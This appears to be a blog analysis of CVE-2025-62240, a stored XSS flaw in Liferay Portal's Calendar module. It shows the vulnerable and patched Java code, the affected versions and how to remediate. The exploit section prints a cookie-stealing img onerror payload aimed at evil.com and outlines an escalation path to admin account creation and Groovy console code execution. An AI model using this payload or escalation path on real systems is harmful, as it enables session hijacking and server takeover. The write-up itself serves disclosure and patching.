The Calendar That Cancelled Security: Deep Dive into CVE-2025-62240
Jan 30, 2026·6 min read·2 visits
Executive Summary (TL;DR)
Stored XSS in Liferay Portal Calendar (CVE-2025-62240) allows attackers to inject malicious scripts into their profile names. These scripts execute when other users view calendar events, potentially leading to session hijacking and account takeover.
A critical Stored Cross-Site Scripting (XSS) vulnerability in Liferay Portal's Calendar module turns mundane meeting invites into weaponized payloads. By neglecting to sanitize user names within the calendar resource JSON serialization, the application allows attackers to execute arbitrary JavaScript in the browser of any user—including administrators—who views the schedule.
The Hook: The Call is Coming from Inside the House
Enterprise portals are the digital equivalent of a sprawling, bureaucratic office building. You have document libraries, message boards, and, of course, the humble Calendar. It's the boring utility that everyone ignores until it breaks. But for a hacker, 'boring' usually translates to 'audit-neglected,' and that is exactly where CVE-2025-62240 lives.
Here is the scenario: You are a standard user on a Liferay Portal instance. You don't have administrative rights. You can't upload plugins. But you do have a name. And the system trusts that name implicitly. This vulnerability is a classic case of 'Internal Trust Fallacy'—the developers assumed that because data (like a user's first and last name) came from the internal database, it was safe to render without protection.
Spoilers: It wasn't. This isn't some complex memory corruption or a heap overflow. This is a logic error in how the application serializes objects to JSON. It is the digital equivalent of accepting a package from a known sender but forgetting that the sender might have packed a pipe bomb inside. When the Calendar module fetches resources (attendees, rooms, equipment), it inadvertently drags in your malicious payload and serves it up on a silver platter to anyone checking their schedule.
The Flaw: Trusting the Untrustable
Let's talk about the root cause. The vulnerability resides in com.liferay.calendar.web, specifically in how it constructs the JSON object for calendar bookings. In modern web apps, the server often sends raw JSON to the frontend, and the frontend JavaScript framework handles the rendering. If the frontend uses dangerous sinks (like innerHTML in vanilla JS or v-html in Vue), you get XSS.
However, in this specific case, the failure happened during the JSON construction phase on the backend. The method CalendarUtil.toCalendarBookingJSONObject is responsible for taking a database entity—a CalendarBooking—and converting it into a format the UI understands. Part of that data includes the 'Calendar Resource,' which is Liferay-speak for the entity associated with the calendar (often a User).
The code grabs the name of the resource (e.g., 'John Doe') and stuffs it directly into the JSON response. The fatal mistake? It assumed calendarResource.getName() returned safe text. But getName() returns whatever is in the database. If I change my name to <script>alert(1)</script>, the database stores it happily, and this function retrieves it happily. The chain of custody for sanitization was broken.
The Code: The Smoking Gun
Let's look at the actual Java code. It's rare we get a diff this clean that perfectly illustrates the 'before' and 'after' of a security mindset. The vulnerable code was located in modules/apps/calendar/calendar-web/src/main/java/com/liferay/calendar/web/internal/util/CalendarUtil.java.
Here is the vulnerable implementation:
// The Vulnerable Code
return calendarResource.getName(themeDisplay.getLocale());See that? Raw input, raw output. The developer simply asked for the name and returned it. Now, look at the fix provided in commit 961b569fbd9207c728a93d962e989dbc062f6fb6. The engineers at Liferay wrapped the call in a sanitizer:
// The Fixed Code
return HtmlUtil.escape(
calendarResource.getName(themeDisplay.getLocale()));The addition of HtmlUtil.escape() is the magic shield. It converts characters like < into < and > into >. This ensures that when the browser parses the JSON response, it treats the payload as a string literal rather than executable markup. It is a one-line fix for a vulnerability that could compromise the entire portal.
The Exploit: Weaponizing Your Middle Name
Now for the fun part: How do we break it? This is a Stored XSS vector, which is the most dangerous kind because the attack is persistent. It doesn't require phishing a user with a weird link; the trap is laid in the application itself.
Step 1: The Setup Log in as a low-privileged user. Navigate to your Account Settings. Liferay allows users to update their First, Middle, and Last names.
Step 2: The Injection In the 'First Name' or 'Middle Name' field, inject a standard XSS payload. Something simple to test, or something nasty for red teaming:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">Step 3: The Trigger Create a Calendar Event. Invite others, or simply let the event exist on a shared calendar. The system links this event to your 'Calendar Resource' (your user profile).
Step 4: The Execution
Wait. When an Administrator views the calendar to check the week's schedule, the backend toCalendarBookingJSONObject method runs. It pulls your malicious name from the DB, fails to escape it, and sends it to the Admin's browser. The Admin's browser sees the <img> tag, tries to load x, fails, fires onerror, and sends the Admin's session cookies to your server.
The Impact: Why Should We Panic?
You might look at the CVSS score of 5.4 (Medium) and think, 'Eh, I'll patch this next month.' That would be a mistake. CVSS scores often fail to capture context. In a complex portal environment like Liferay, an XSS vulnerability isn't just about defacing a page.
If you can execute JavaScript in the context of a Liferay Administrator, you own the instance. An attacker can use XSS to:
- Hijack the Session: Steal the
JSESSIONIDor OAuth tokens. - Forge Requests (CSRF): Force the admin browser to create a new Administrator user account for the attacker.
- RCE via Groovy: Liferay has a Script Console that allows Admins to run Java/Groovy code. An XSS payload can automate the process of posting a Groovy script to that console, giving the attacker full Remote Code Execution on the server.
So, while the CVE says 'Medium,' the reality is 'Critical' if you value the integrity of your server. This is a direct path from 'Low Privileged User' to 'System Root'.
The Fix: Stopping the Bleeding
Fortunately, the fix is straightforward. You need to sanitize the output before it hits the wire. If you are running Liferay Portal or DXP, you have two primary options:
- Patching: Apply the relevant update. For Liferay Portal, you need version 7.4.3.112 or higher. For DXP customers, apply the latest Service Pack (e.g., Update 93 for 7.4).
- Module Upgrade: If you can't upgrade the whole portal, you can often upgrade specific OSGi modules. Look for
com.liferay.calendar.weband ensure it is version 5.0.88 or greater.
> [!NOTE]
> Since this is a Stored XSS, simply patching the code might not clean up the database. If an attacker has already injected a payload, the patch prevents it from rendering, but the bad data remains. It is good practice to audit your User_ tables for suspicious characters (<, >, script, javascript:) after patching.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Liferay Portal Liferay | 7.4.3.35 - 7.4.3.111 | 7.4.3.112 |
Liferay DXP Liferay | 7.4 Update 35 - 92 | Update 93 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 5.4 (Medium) |
| CVSS v4.0 | 4.8 (Medium) |
| Privileges Required | Low (User) |
| Impact | Session Hijacking / Potential RCE |
MITRE ATT&CK Mapping
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.